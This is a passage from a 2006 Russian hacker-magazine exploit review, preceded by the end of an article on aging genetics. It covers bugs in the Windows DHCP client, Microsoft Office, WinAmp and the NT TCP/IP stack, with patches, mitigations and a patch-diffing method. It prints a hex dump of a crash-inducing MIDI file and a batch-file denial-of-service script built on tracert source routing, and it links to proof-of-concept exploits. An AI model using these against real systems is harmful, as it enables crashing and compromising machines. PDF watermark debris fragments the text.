книги хакеры / журнал хакер / 092_Optimized
.pdf
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|||
P |
|
|
|
|
BUY |
NOW! |
o |
// |
|||
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|||
w Click |
to |
|
|
|
|
|
m |
|
|||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
||
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
новление их функции с тем, чтобы раковые |
езным нарушением образо- |
|
|
|
|
|
|
|
|
|
|
опухоли самоуничтожались по прошествии |
вания белка ламина А в ре- |
|
|
|
|
|
|
|
|
|
|
определенного времени. Некоторое время |
зультате генной мутации. Эти |
|
|
|
|
|
|
|
|
|
|
теломеры считались основным злом, которое |
мутации удалось выделить и |
|
|
|
|
|
|
|
|
|
|
старит нас независимо от того, насколько мы |
повторить на животных. Мо- |
|
|
|
|
|
|
|
|
|
|
«реально износились». В некоторый момент |
жет, мы с тобой доживем до |
|
|
|
|
|
|
|
|
|
|
часики пробивают 12, и твое тело начинает |
того времени, когда резуль- |
|
|
|
|
|
|
|
|
|
|
потихоньку дряхлеть. |
таты изучения прогерии смо- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
Искусственное дряхление ученые могут уже |
гут продлить срок жизни, а не |
|
Молекулярные машины- |
|
|
|
|
||||
сейчас вызвать. Сделать это они смогли после |
сократить его. |
|
энзимы помогают генным |
|
что |
изменение |
только |
||||
изучения редкой болезни прогерии. Это синд- |
Сам «ген старения» пока не |
|
инженерам разрезать и |
|
|
одного гена под названи- |
|||||
ромпреждевременногостарения,прикотором |
найден. Но известно о том, что |
|
сшивать участки кода |
|
|
ем age-1 увеличило про- |
|||||
организм человека за 12-15 лет после рожде- |
человек может быть носителем |
|
ДНК в нужных местах |
|
|
должительность |
жизни |
||||
ния «проживает» 70-летний период жизни, то |
генов, способствующих замед- |
|
|
|
|
|
|
червей вдвое (до одного |
|||
|
|
|
|
|
|
||||||
есть в 10-14 лет больной ребенок имеет такие |
лению старения. |
|
|
|
|
|
|
месяца). |
|
||
изменения тканей организма, какие наблюда- |
В течение многих лет биологи полагали, что |
Под влиянием этих открытий в 1999 году была |
|||||||||
ются у людей пожилого возраста. |
процесс старения является настолько слож- |
создана компания Elixir Pharmaceuticals с ус- |
|||||||||
Старение организма протекает с невероятной |
ным, затрагивает тысячи генов, что делает |
тавным капиталом в 56 миллионов долларов. |
|||||||||
скоростью, что сопровождается развитием |
практическиневозможнымегоэффективную |
Сегодня она надеется разработать препа- |
|||||||||
атеросклероза сосудов, остеопорозом костей, |
терапию. Но с 1988 года появились сомнения |
раты, которые будут блокировать действие |
|||||||||
выпадением волос, нарушением состояния |
благодаря изучению круглых червей нема- |
натурального |
гормона |
грелина |
(ghrelin), |
||||||
челюстей и зубов, а впоследствии — сердца и |
тод, длина которых состовляет всего лишь |
способствующего секреции гормона роста |
|||||||||
мозга. Существует несколько форм прогерии, |
1 мм. Генетик Томас Джонсон, работающий |
и стимулирующего аппетит. Elixir намере- |
|||||||||
и практически все они сопровождаются серь- |
сегодня в университете Колорадо, показал, |
на проверить эту концепцию для лечения |
|||||||||
|
|
|
|
|
диабета и ожирения. Испытания на людях |
||||||
|
|
|
|
|
должны начаться уже в течение ближайших |
||||||
|
|
|
|
|
двух лет. |
|
|
|
|
|
|
|
|
|
|
|
Естественно, что кто девушку обедает, тот |
||||||
|
|
|
|
|
ее и танцует, поэтому нет ничего удивитель- |
||||||
|
|
|
|
|
ного в том, что всем нам известный Билли |
||||||
|
|
|
|
|
тайком вкладывает деньги в биотех, отчасти |
||||||
|
|
|
|
|
в развитие персональной геномики, а также |
||||||
|
|
|
|
|
в компании, занимающиеся поиском «тор- |
||||||
|
|
|
|
|
мозов» старения. Подводит его нюх или нет |
||||||
|
|
|
|
|
— мы с тобой узнаем лет через 20. И нет при- |
||||||
|
|
|
|
|
|
|
чин сомневаться в том, что кому- |
||||
|
|
|
|
|
|
|
нибудь из ученых удастся при- |
||||
|
|
|
|
|
|
|
|||||
|
|
|
Секвенирование ДНК |
|
тормозить старуху с косой. Мы |
||||||
|
|
|
с помощью нанопор |
|
же с тобой знаем: это большой |
||||||
|
|
|
|
|
|
|
и сложный механизм, и нужно |
||||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
время, чтобы его взломать. z |
||||
XÀÊÅÐ 08 /92/ 06 |
/ 049 |
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
C |
|
E |
|
|||
|
|
X |
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
||
|
F |
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
r |
|
P |
|
|
|
|
|
NOW! |
o |
||
|
|
|
|
|
|
||||
w Click |
|
BUY |
>>m |
||||||
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
. |
|
|
|
|
|
.c |
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
df |
|
|
n |
e |
||
|
|
|
|
-xcha |
|
|
|
||
взлом
КРИС КАСПЕРСКИ
ОБЗОР эксплойтов
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
NT: удаленная дыра в DCHP-сервисе
Brief
11 июля 2006 Mariano Nuuez Di Croce, сотрудник копании CYBSEC S. A. (cybsec.com), опубликовал сообщение о переполнении буфера в Microsoft Windows DCHP-клиенте (технически реализованном как сервис), приводящем к возможности удаленного выполнения кода с привилегиями SYSTEM, при условии, что атакующий и жертва находятся в одной подсети: cybsec.com/vuln/CYBSEC-Security_Pre Advisory Microsoft_Windows_DHCP_Client_Service Remote_Buffer_Overflow.pdf; сообщение тут же подхватила Microsoft, выпустив оперативную заплатку вместе с описанием проблемы на TechNet:microsoft.com/technet/security/Bulletin/ MS06-036.mspx, где уязвимости был присвоен критический уровень опасности. Аналогичную оценку выставила и французская компания FrSIRT:frsirt.com/english/advisories/2006/2754.
Targets
Уязвимости подвержены следующие системы:
Windows 2000 Professional / Standard Server / DatacenterServer/AdvancedServer;XPTabletPC / Media Center / Home / Professional/Professional x64 /Datacenter Server / Advanced Server; Server 2003 Standard / Standard x64 / Web/ Enterprise / Enterprise x64/Datacenter/Datacenter x64 со всеми установленными Service Pack'ами. На NT и 9x эта угроза не распространяется.
Отключение DHCP-клиента для предотвращения атаки через системную консоль
Exploits
Компания Cybsec S. A. будет удерживать все технические детали атаки (и сам exploit) в течение 30 дней, после чего выложит их в публичный доступ (как раз к выходу журнала из печати).
Solution
а) установить заплатку от Microsoft, которую можно скачать с update.microsoft.com, b) отключить DHCP-клиента через Панель Управления -> Администрирование -> Службы -> DHCPклиент -> Свойства -> Тип запуска -> Вручную; Свойства -> Стоп; или из командной строки «sc stop DHCP -> sc config DHCP start=disabled», при этом перезагружаться не обязательно. После останова DHCP-сервиса все IP-адреса локальной сети придется присваивать вручную (что легко осуществить дома, но намного сложнее в корпоративной сети). На выделение динамических IP-адресов по Dial Up'у остановка DCHP-сервиса никак не скажется (подробнее о DCHP можно прочитать в IETF RFC 2131 — rfc. net/rfc2131.html).
/ 050 |
XÀÊÅÐ 08 /92/ 06 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|
||||
w Click |
|
BUY |
|
m |
// |
||||||
to |
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
||
ОБЗОР ЭКСПЛОЙТОВ
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
хакером по прозвищу naveed (naveedafzal@gmail. com). Она относится к функции LsCreateLine, экспортируемойбиблиотекойmso.dll(иливболеестарых версиях офиса — mso9.dll). Специальным образом созданный doc-файл вызывает обрушение Word'а с ошибкой доступа, но также может перезаписыватьпроизвольноедвойноеслововпамяти, позволяя осуществлять передачу управления на shell-код: securityfocus.com/archive/1/439649. Сообщение быстро расползлось по сети: security.nnov. ru/Gnews345.html; securityfocus.com/bid/18905, но Microsoftоказаласьснимкатегорическинесогласна, опубликовав на своем Security Response Center Blog'е опровержение, что, мол, падать-то Word падает, а вот возможность передачи управления на shell-код весьма сомнительна: blogs.technet.com/ msrc/archive/2006/07/10/441006.aspx;личнояпосле отладки и дизассемблирования придерживаюсь мненияnaveed'а.
Также была обнаружена кривизна в реализации указателей на объекты, приводящая к возможности выполнения shell-кода (securityfocus. com/bid/18037), и уже появилась пара виру- сов-червей, распространяющихся через дыру Backdoor.Ginwui (symantec.com/avcenter/venc/ data/backdoor.ginwui.html) и Trojan.Mdropper.H, (securityresponse.symantec.com/avcenter/venc/ data/trojan.mdropper.h.html).
Имеются ошибки и в обработке графических файлов форматов GIF и PNG, опять-таки приводящие к возможности выполнения shell-кода: (securityfocus.com/bid/18913 и securityfocus.com/ bid/18915). Свойства объектов (property) и разборка (parsing) строк не отстают от своих товарищей и выполняют shell-код не хуже остальных (securityfocus.com/bid/18911 и securityfocus.com/ bid/18912). Не остается без внимания и Excel — в обработке стилей и выделении записей обнаружены дефекты, приводящие к возможности выполнения shell-кода: securityfocus.com/bid/18872, securityfocus.com/bid/18422 и securityfocus.com/ bid/18885. Плеяду ошибок завершает дыра в библиотеке hlink.dll, отвечающая за обработку стилей
Обрушение WinAmp'а
c ZDL-ANALOG-STUDIO-5 скином
разных типов записей и при определенных обстоятельствах допускающая передачу управления на зловредный код: security.nnov.ru/Gnews270.html.
Target
Вся линейка продуктов MS Office.
Exploits
•securityfocus.com/data/vulnerabilities/exploits/ MSOffice_mosdll_poc.c;
•downloads.securityfocus.com/vulnerabilities/exploits/ excel-rce-nsrocket.txt;
•securityfocus.com/data/vulnerabilities/exploits/ Nanika.xls;
•bsdpakistan.org/downloads/wordPOC.c;
Solution
Некоторые из вышеперечисленных дыр успешно подтверждены Microsoft, и для них выпущены заплатки:некоторыевсеещеостаютсянезалатанными,поэтомунеотрывай документов,полученныхиз ненадежныхисточников!
WinAmp: переполнение
буфера в midi
Brief
19 апреля 2006 года в популярнейшем mp3-про- игрывателеле WinAmp от Null-soft был обнаружен дефект в библиотеке in_midi.dll, отвечающей за проигрывание midi-файлов и некорректно проверяющей правильность заполнения некоторых полей. В результате чего у атакующего появилась возможность«уронить»WinAmp(которыйприэтом настойчиво предлагает перезапустить систему, хотя ее можно и не перезапускать) или передать управление на shell-код. Следующий 34-байтовый
midi-файлосновательносноситWinAmp'укрышу:
midi-файл, вызывающий обрушение WinAmp'а
0000:4D 54 68 64 00 00 00 06 | 00 00 00 01 00 60 4D 54 0010:72 6B 00 00 00 FF FF FF | FF FF FF FF FF FF FF FF 0020:FF 00
Поскольку WinAmp может быть настроен так, чтобы проигрывать midi-содержимое web-страничек вместо основного системного проигрывателя (многиепользователиименнотакегоинастраивают), угроза очередной вирусной эпидемии принимает довольно масштабный характер, особенно учитывая тот факт, что WinAmp, в отличие от системы, практически никто не обновляет. К тому же исходноесообщениеодыреосталосьнезамеченным, даже когда оно было опубликовано вторично
— 29 мая 2006 года, — то есть ровно через месяц спустя. На Security-Focus оно попало с огромным (инехарактернымдлянего)опознанием—19июня 2006 года (securityfocus.com/bid/18507).
Targets
ВсеверсииWinAmp'адо5.21включительно.
Exploit
•securityfocus.com/data/vulnerabilities/exploits/ winamp_midi_bof.c;
Solution
а/ обнови свою версию WinAmp'а до 5.22 (или выше), чтобы устранить несовместимость с ранни- миplug-in'ами;
б/ не используй WinAmp для проигрывания midiфайлов,сбросивсоответствующуюгалочкувфайловых ассоциациях, а также удалив файл in_midi.dll изкаталогаPlugins.
Исследование упавшего Word'а под отладчиком OllyDbg
XÀÊÅÐ 08 /92/ 06 |
/ 051 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
|
|
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
>>m |
|
|||
|
|
|
|
to |
|
|
|
|
||
w Click |
|
|
|
|
ВЗЛОМ |
|||||
|
|
|
|
|
||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
||
NT: удаленная дыра в TCP/IP-драйвере
Brief
13 июня 2006 на Microsoft TechNet появилось сообщение о переполнении буфера в TCP/IP-драй- вере, позволяющее «уронить» систему в голубой экран смерти и даже передать управление на shellкод, выполняющийся с привилегиями SYSTEM: microsoft.com/technet/security/Bulletin/MS06-032. mspx; опасности был присвоен important-статус, и через несколько часов она перекочевала на www. securityfocus.comидругиехакерскиесайты.
Targets
Уязвимости подвержены следующие системы: NT Workstation/Standard Server / Terminal Server / Enterprise Server; W2K Professional/Standard Server/ Datacenter Server / Advanced Server; XP Tablet PC / Media Center / Home / Professional / Professional x64/ Datacenter Server / Advanced Server; Server 2003 Standard/Standard x64 / Web / Enterprise / Enterprise x64 / Datacenter / Datacenter x64 со всеми установленными Service Pack'ами. Другими словами, уязвима вся линейка NT-подобных систем. На 9x эта угрозанераспространяется.
Exploits
•securityfocus.com/data/vulnerabilities/ exploits/18374-DoS-PoC.c;
•securityfocus.com/data/vulnerabilities/ exploits/18374-DoS-PoC.txt;
Solution
а) установить заплатку от Microsoft, которую можно скачать с update.microsoft.com, б) отключить IP Source Routing (IP-маршрутизацию от источника) путемсозданияпараметраDisableIPSourceRouting типа DWORD со значением 2 в следующем ключе:
Доработанный exploit валит систему с 2-х пакетов
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\ Parametersиперезагрузитькомпьютер,причемна «нормальную»маршрутизациюпакетовэтоникак не повлияет; в) заблокировать на брандмауэре IP-пакеты с опциями 131 (LSRR: Loose Source-n- Record Route — свободная маршрутизация от источникасзаписьюмаршрута)и137(SSRR:Strict Source-n-RecordRoute—жесткаямаршрутизация от источника с записью маршрута). Не путай их с портами — это не порты, а именно опции IP-паке- тов,но,ксожалению,далеконевсеперсональные брандмауэры позволяют осуществлять столь гибкуюфильтрацию.
Details
Дыру в TCP/IP обнаружил наш соотечественник Андрей Минаев (angel3000@hotbox.ru), обратившийвниманиенастранноеповедениесистемыпри обработкеIP-пакетовсвзведеннойопциейсвобод- ной/жесткой маршрутизации и промежуточным адресом,равным0.0.0.0,чтотрактуетсякак«адрес данного узла». Если на целевой системе работал NAT-сервер, встроенный, в частности, в Windows 2000, то система выпадала в BSOD с ошибкой в TCPIP.SYS, NTOSKRNL.EXE или начинала вести себя нестабильно, что вполне типично для ошибок переполненияс0171«ударомпопамяти».
Хакеры, называющие себя Jimmy и ByteCoder+, тут же написали exploit, представляющий собой простейший командный файл, запускаемый изпод Window 9x или NT-подобных систем и устраивающийуделенномуузлунастоящеехаракири, причем атакующий может находится как внутри локальной сети, так и вне ее:
Простейший exploit, атакующий сервер путем посылки пакетов со взведенной опцией Loose Source-n-Record Route
REM задаем IP-адрес (или доменное имя) REM узла-жертвы, которую мы будем валить SET targetip=192.168.0.6
:rool
tracert -h 1 -j 0.0.0.0 %targetip% tracert -h 1 -j 0.0.0.0 %targetip% tracert -h 1 -j 0.0.0.0 %targetip%
REM посылаем серверу эхо-пакет, чтобы выяснить, REM жив ли он еще или уже упал смертью храбрых ping %targetip% -n 1 || goto end
REM если мы здесь — переход на end не сработал: REM сервер шлет нам привет, ну а мы продолжаем REM слать ему IP-пакеты, надеясь, что когда-нибудь REM он все-таки упадет
goto rool
REM сюда мы переходим, когда посланный серверу REM эхо-пакет уже не возвращается к нам назад. REM сервер упал?! сервер упал!!! может быть...
:end
@cls
@Echo Server is crash @pause
Exit
Для эстетов хакер по кличке Preddy из RootShell Security Group создал Си-версию exploit'а, работающую как под NT/9x, так и под Linux: securityfocus.com/data/vulnerabilities/ exploits/18374-DoS-PoC.c; Чтобыпонять,какработаетexploit,необходиморас- смотретьзаголовокIP-пакета.
Поле options служит для задания дополнительных опций, расширяющих возможности протокола IP. В частности, интересующая нас опция 131 (Loose Source-n-Record Route) и 137 (Strict Source-n-Record Route) описаны в RFC-791 (rfc. net/rfc791.html), а также во множестве независимых источников, например энциклопедии «Аппаратных средств локальных сетей» Михаила Гука (shop.piter.com/chapt.phtml?id=978580460113)
или в «Протоколе IP»: ariu.berdyansk.net/~andy/ telecom_technology/1522-4.html#2.4.4.
Обе опции действуют практически одинаково и позволяют отправителю пакета самостоятельно выбирать маршрут следования. Разница свободнойистрогоймаршрутизациейзаключаетсялишьв
Узел 192.168.7.2 (работающий под управлением W2K) благополучно переживает атаку и не падает
/ 052 |
XÀÊÅÐ 08 /92/ 06 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|
||||
w Click |
|
BUY |
|
m |
// |
||||||
to |
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
||
ОБЗОР ЭКСПЛОЙТОВ
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
||
Истинное содержимое файла Windows2000-KB917953-x86-RUS.EXE
том,чтоприсвободноймаршрутизацииочередной узел навязанного маршрута может быть достигнут за любое количество переходов (также называемых хопами), а при жесткой — очередной узел должен быть достигнут за 1 переход, а если это невозможно, то пакет уничтожается с генерацией ICMP-сообщения о невозможности доставки.
Списокузлов,черезкоторыедолженпройтипакет, содержится в поле данных, которое вмещает до 9 IP-адресов, перечисляемых в порядке следования. Поле ptr указывает на текущий номер обрабатываемого узла и каждый раз увеличивается на 4,причемномерпервогоадресаравен4.
Рассмотрим пакет, направляющийся из узла X в узел Y и проходящий через маршрутизаторы M1 и M2. На выходе из узла X в поле «Destination Address» (адрес назначения) IP-пакета содержится адрес M1, а в списке «навязанных» адресов (в поле options) — M2 и Y, при этом ptr равен 4, то есть указывает на M2. По прибытии пакета на M1 из поля «навязанных» адресов извлекается адрес, определяемый указателем ptr (в данном случае это M2) и копируется в поле «Destination Address», ptr увеличивается на 4, а поверх адреса M2 записывается адрес того интерфейса маршрутизатора M1, через который пакет будет направлен на M2 (это и называется «записью маршрута»). По прибытии на M2 вся процедура повторяется, и пакет передается конечному получателю Y, а в поле опций оказывается записанным маршрут пересылки. Когда узел Y получает пакет с опцией Loose Source/ Strict Source, он должен использовать записанный маршрут для обратной отправки отклика.
Опции Loose/Strict Source Routing могут быть использованы для несанкционированного проникновения через неправильно настроенный брандмауэр: в поле destination address устанавливается разрешенный адрес, и пакет благополучно пропускается брандмауэром, далее из поля опций извлекается запрещенный адрес (который забывает проверитьбрандмауэр),ипакетперенаправляется по навязанному маршруту прямиком к атакуемому узлу, но к описываемой дыре в TCP/IP-протоколе этаособенностьникакнеотносится.
Формат поля опций IP-пакета при свободной/жесткой марштузизации от источника
Теперь, учитывая все вышесказанное, попробуем разобратьсясexploit'ами.Ключкоманднойстроки -j Window-утилитыtracert,соответствующийключу- gLinux-утилитыtraceroute,задаетсвободныйвыбор маршрутапоспискуузлов,средикоторыхприсутствует только один узел — 0.0.0.0. Это специальный IP-адрес,буквальнообозначающий«данныйузел». Ключ-hутилитыtracert(соответствующийключу-m утилиты traceroute) ограничивает максимальное число переходов при поиске следующего назначенного узла, равное в данном случае 1, то есть мы как бы имитируем «Strict Source Routing» (на который tracere/traceroute не способны) на основе опции «Loose Source Routing», поддерживаемой утилитамитрассировки.Чтожеполучаетсявитоге?
Авотнихренанеполучается!Мне,несмотрянавсе усилия, так и не удалось завалить ни одну систему из списка уязвимых: ни в локальной сети, ни через интернет, ни из-под Windows, ни из-под Linux. Прежде всего в Си-версии exploit'а допущена грубая ошибка, ограничивающая предельную длину IPадресавсего9знаками,тоестьприпопыткеатаковать, например, «192.168.7.2», IP-адрес усекается,
иатакуется несуществующий узел «192.168.7». Замена всех strncat(x,y,9) на strncat(x,y,15) решает проблему (естественно, размеры буферов необходимоувеличитьтоже),ноатакуемыеузлыупорно падатьнехотят.Почему?!
Запускаем sniffer и смотрим на содержимое отправляемых пакетов. Видно, что адрес 0.0.0.0 вообще не попадает в «навязанный» список узлов,
ивместо него там оказывается destination-адрес, продублированный в соответствующем поле IP-заголовка. Не исключено, что в какой-то конфигурации,которуюмнетакинеудалосьвоспроизвести, это вызывает помешательство NT, и она начинаетпосылатьпакетысамасебе,проваливаясь в бесконечный цикл, завершающийся переполнениемстека.Нокакбытамнибыло,Microsoft все-таки выпустила patch и представляет большойинтересраспотрошитьегоипосмотреть,что же все-таки изменилось?
Сейчас я продемонстрирую интересную технику поиска различий, которая неоднократно пригодится нам, хакерам, в будущем. Берем в руки файл
Формат IP-заголовка
Windows2000-KB917953-x86-RUS.EXE (для XP он будетслегкаиным,нообщийпринципдействийостанется неизменным), загружаем его в hiew и ищем строку «MSCF» (Microsoft Cab-File), следующую за длинной последовательностью «PADDINGXXX». Перемещаем курсор на первый символ «MSCF» и нажимаем <*> (начало выделения блока), а затем топчем <CTRL-END> для перемещения в конец файла. Нажимаем <*> еще раз и записываем блок в файл клавишей <F2>. Называем его, ну, скажем, TCP.CAB и открываем любым подходящим архиватором,например,RAR'ом.
Там, среди прочего потребительского барахла, присутствующего во всех обновлениях, мы обна- жимTCPIP.SYS—то,чтонужно!Вытаскиваемегоиз архиваисравниваемсимеющейсяунасверсией. Сразу же бросается в глаза, что длины файлов не совпадают — 320,176 байт старой версии против 320,336 байт у новой, — поэтому прямое побайтовое сравнение невозможно! Очевидно, что драйвер был перекомпилирован, — необходимо прибегнуть к дизассемблированию, сравнивая версии на уровне мнемоник машинных команд (вряд ли весь исходный текст драйвера был изменен). Дизассемблируем оба драйвера с помощью IDA Pro и сохраняем полученные листинги в файлы old.lst и new.lst (от экспорта в аsmформатлучшевоздержаться,посколькуунегоне ладится с табуляцией, и мы не сможем отрезать операнды машинных инструкций, когда нам это будетнеобходимо).ПриотсутствииIDAProможно воспользоваться утилитой DUMPBIN из комплекта поставки Microsoft Visual Studio, запустив его с ключом /DISASM.
Полученные листинги можно сравнить либо «продвинутой» графической утилитой windiff, также входящийвсоставMicrosoftVisualStudio,либопростой консольной fc.exe, позаимствованной из штатнойпоставкиWindowsNT.Тутжеобнаружитсяследующая пренеприятнейшая проблема: поскольку после рекомпиляции многие смещения изменились, то утилиты сравнения выдают ворох ложных срабатываний, в котором очень легко утонуть, так и не добравшись до истины. Например, различные версии файлов имеют разные смещения функций/
XÀÊÅÐ 08 /92/ 06 |
/ 053 |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
|
|
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
>>m |
|
|||
|
|
|
|
to |
|
|
|
|
||
w Click |
|
|
|
|
ВЗЛОМ |
|||||
|
|
|
|
|
||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
||
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
